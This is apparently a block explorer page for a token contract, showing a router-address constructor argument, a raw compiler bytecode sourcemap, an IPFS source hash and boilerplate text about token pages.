000000000000000000000000c504f9cc6729e1ad03d479219e84d071c9e94e93
-----Decoded View---------------
Arg [0] : Layer2Routerv3 (address): 0xC504f9Cc6729e1aD03d479219E84d071C9e94E93
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c504f9cc6729e1ad03d479219e84d071c9e94e93
Deployed Bytecode Sourcemap
11491:7597:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12815:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14747:177;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;14747:177:0;920:187:1;12987:102:0;13069:12;;12987:102;;;1258:25:1;;;1246:2;1231:18;12987:102:0;1112:177:1;15417:340:0;;;;;;:::i;:::-;;:::i;12491:94::-;12568:9;;12491:94;;12568:9;;;;1815:36:1;;1803:2;1788:18;12491:94:0;1673:184:1;16180:234:0;;;;;;:::i;:::-;;:::i;13165:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;13260:17:0;13233:7;13260:17;;;:8;:17;;;;;;;13165:120;5890:148;;;:::i;:::-;;14151:207;;;;;;:::i;:::-;;:::i;12328:94::-;12380:7;5302:6;-1:-1:-1;;;;;5302:6:0;12328:94;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;12328:94:0;2053:203:1;5229:87:0;5275:7;5302:6;-1:-1:-1;;;;;5302:6:0;5229:87;;12652:98;;;:::i;16930:285::-;;;;;;:::i;:::-;;:::i;13970:175::-;;;;;;:::i;:::-;;:::i;14428:158::-;;;;;;:::i;:::-;-1:-1:-1;;;;;14543:21:0;;;14516:7;14543:21;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;14428:158;13586:164;;;;;;:::i;:::-;;:::i;6193:254::-;;;;;;:::i;:::-;;:::i;12815:94::-;12863:13;12896:5;12889:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12815:94;:::o;14747:177::-;14831:4;14848:46;3867:10;14871:12;14885:8;14848;:46::i;:::-;-1:-1:-1;14912:4:0;14747:177;;;;;:::o;15417:340::-;15520:4;15537:39;15547:6;15555:10;15567:8;15537:9;:39::i;:::-;15587:140;15596:6;3867:10;15618:108;15659:8;15618:108;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15618:22:0;;;;;;:14;:22;;;;;;;;3867:10;15618:36;;;;;;;;;;:40;:108::i;:::-;15587:8;:140::i;:::-;-1:-1:-1;15745:4:0;15417:340;;;;;:::o;16180:234::-;3867:10;16269:4;16323:28;;;:14;:28;;;;;;;;-1:-1:-1;;;;;16323:42:0;;;;;;;;;;16269:4;;16286:98;;16309:12;;16323:60;;16370:12;16323:46;:60::i;5890:148::-;5275:7;5302:6;-1:-1:-1;;;;;5302:6:0;3867:10;5449:23;5441:78;;;;-1:-1:-1;;;5441:78:0;;;;;;;:::i;:::-;;;;;;;;;5997:1:::1;5981:6:::0;;5960:40:::1;::::0;-1:-1:-1;;;;;5981:6:0;;::::1;::::0;5960:40:::1;::::0;5997:1;;5960:40:::1;6028:1;6011:19:::0;;-1:-1:-1;;;;;;6011:19:0::1;::::0;;5890:148::o;14151:207::-;13332:16;;-1:-1:-1;;;;;13332:16:0;3867:10;13332:32;13324:87;;;;-1:-1:-1;;;13324:87:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14221:21:0;::::1;;::::0;;;:8:::1;:21;::::0;;;;;;;14245:22:::1;14221:46:::0;;;;14293:57;;1258:25:1;;;14221:21:0;;;14293:57:::1;::::0;1231:18:1;14293:57:0::1;;;;;;;;14151:207:::0;:::o;12652:98::-;12702:13;12735:7;12728:14;;;;;:::i;16930:285::-;17018:4;17035:150;3867:10;17058:12;17072:112;17119:11;17072:112;;;;;;;;;;;;;;;;;3867:10;17072:28;;;;:14;:28;;;;;;;;-1:-1:-1;;;;;17072:42:0;;;;;;;;;;;;:46;:112::i;13970:175::-;14053:4;14070:45;3867:10;14094;14106:8;14070:9;:45::i;13586:164::-;13332:16;;-1:-1:-1;;;;;13332:16:0;3867:10;13332:32;13324:87;;;;-1:-1:-1;;;13324:87:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13655:21:0;::::1;;::::0;;;13679:1:::1;13655:21;::::0;;;;;;;:25;;;13706:36;1258:25:1;;;13655:21:0;;;13706:36:::1;::::0;1231:18:1;13706:36:0::1;1112:177:1::0;6193:254:0;5275:7;5302:6;-1:-1:-1;;;;;5302:6:0;3867:10;5449:23;5441:78;;;;-1:-1:-1;;;5441:78:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6282:22:0;::::1;6274:83;;;::::0;-1:-1:-1;;;6274:83:0;;3934:2:1;6274:83:0::1;::::0;::::1;3916:21:1::0;3973:2;3953:18;;;3946:30;4012:34;3992:18;;;3985:62;-1:-1:-1;;;4063:18:1;;;4056:46;4119:19;;6274:83:0::1;3732:412:1::0;6274:83:0::1;6394:6;::::0;;6373:38:::1;::::0;-1:-1:-1;;;;;6373:38:0;;::::1;::::0;6394:6;::::1;::::0;6373:38:::1;::::0;::::1;6422:6;:17:::0;;-1:-1:-1;;;;;;6422:17:0::1;-1:-1:-1::0;;;;;6422:17:0;;;::::1;::::0;;;::::1;::::0;;6193:254::o;18680:399::-;-1:-1:-1;;;;;18781:19:0;;18773:80;;;;-1:-1:-1;;;18773:80:0;;4351:2:1;18773:80:0;;;4333:21:1;4390:2;4370:18;;;4363:30;4429:34;4409:18;;;4402:62;-1:-1:-1;;;4480:18:1;;;4473:46;4536:19;;18773:80:0;4149:412:1;18773:80:0;-1:-1:-1;;;;;18872:26:0;;18864:85;;;;-1:-1:-1;;;18864:85:0;;4768:2:1;18864:85:0;;;4750:21:1;4807:2;4787:18;;;4780:30;4846:34;4826:18;;;4819:62;-1:-1:-1;;;4897:18:1;;;4890:44;4951:19;;18864:85:0;4566:410:1;18864:85:0;-1:-1:-1;;;;;18970:21:0;;;;;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;:46;;;19032:39;;1258:25:1;;;19032:39:0;;1231:18:1;19032:39:0;;;;;;;;18680:399;;;:::o;17702:534::-;-1:-1:-1;;;;;17803:20:0;;17795:82;;;;-1:-1:-1;;;17795:82:0;;5183:2:1;17795:82:0;;;5165:21:1;5222:2;5202:18;;;5195:30;5261:34;5241:18;;;5234:62;-1:-1:-1;;;5312:18:1;;;5305:47;5369:19;;17795:82:0;4981:413:1;17795:82:0;-1:-1:-1;;;;;17896:24:0;;17888:84;;;;-1:-1:-1;;;17888:84:0;;5601:2:1;17888:84:0;;;5583:21:1;5640:2;5620:18;;;5613:30;5679:34;5659:18;;;5652:62;-1:-1:-1;;;5730:18:1;;;5723:45;5785:19;;17888:84:0;5399:411:1;17888:84:0;18020:86;18041:8;18020:86;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18020:16:0;;;;;;:8;:16;;;;;;;:86;:20;:86::i;:::-;-1:-1:-1;;;;;18001:16:0;;;;;;;:8;:16;;;;;;:105;;;;18140:20;;;;;;;:34;;18165:8;18140:24;:34::i;:::-;-1:-1:-1;;;;;18117:20:0;;;;;;;:8;:20;;;;;;;:57;;;;18190:38;;;;;;;;;;18219:8;1258:25:1;;1246:2;1231:18;;1112:177;8109:178:0;8195:7;8227:12;8219:6;;;;8211:29;;;;-1:-1:-1;;;8211:29:0;;;;;;;;:::i;:::-;-1:-1:-1;8247:9:0;8259:5;8263:1;8259;:5;:::i;:::-;8247:17;8109:178;-1:-1:-1;;;;;8109:178:0:o;7274:171::-;7332:7;;7360:5;7364:1;7360;:5;:::i;:::-;7348:17;;7385:1;7380;:6;;7372:50;;;;-1:-1:-1;;;7372:50:0;;6412:2:1;7372:50:0;;;6394:21:1;6451:2;6431:18;;;6424:30;6490:33;6470:18;;;6463:61;6541:18;;7372:50:0;6210:355:1;7372:50:0;7438:1;7274:171;-1:-1:-1;;;7274:171:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:380::-;2605:1;2601:12;;;;2648;;;2669:61;;2723:4;2715:6;2711:17;2701:27;;2669:61;2776:2;2768:6;2765:14;2745:18;2742:38;2739:161;;2822:10;2817:3;2813:20;2810:1;2803:31;2857:4;2854:1;2847:15;2885:4;2882:1;2875:15;2739:161;;2526:380;;;:::o;2911:406::-;3113:2;3095:21;;;3152:2;3132:18;;;3125:30;3191:34;3186:2;3171:18;;3164:62;-1:-1:-1;;;3257:2:1;3242:18;;3235:40;3307:3;3292:19;;2911:406::o;5815:127::-;5876:10;5871:3;5867:20;5864:1;5857:31;5907:4;5904:1;5897:15;5931:4;5928:1;5921:15;5947:128;6014:9;;;6035:11;;;6032:37;;;6049:18;;:::i;6080:125::-;6145:9;;;6166:10;;;6163:36;;;6179:18;;:::i
Swarm Source
ipfs://e3eaa7ce1cf8d870dae2cfbfa5a389e5f5e5057bad28171fa54bf09779b48b7c
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.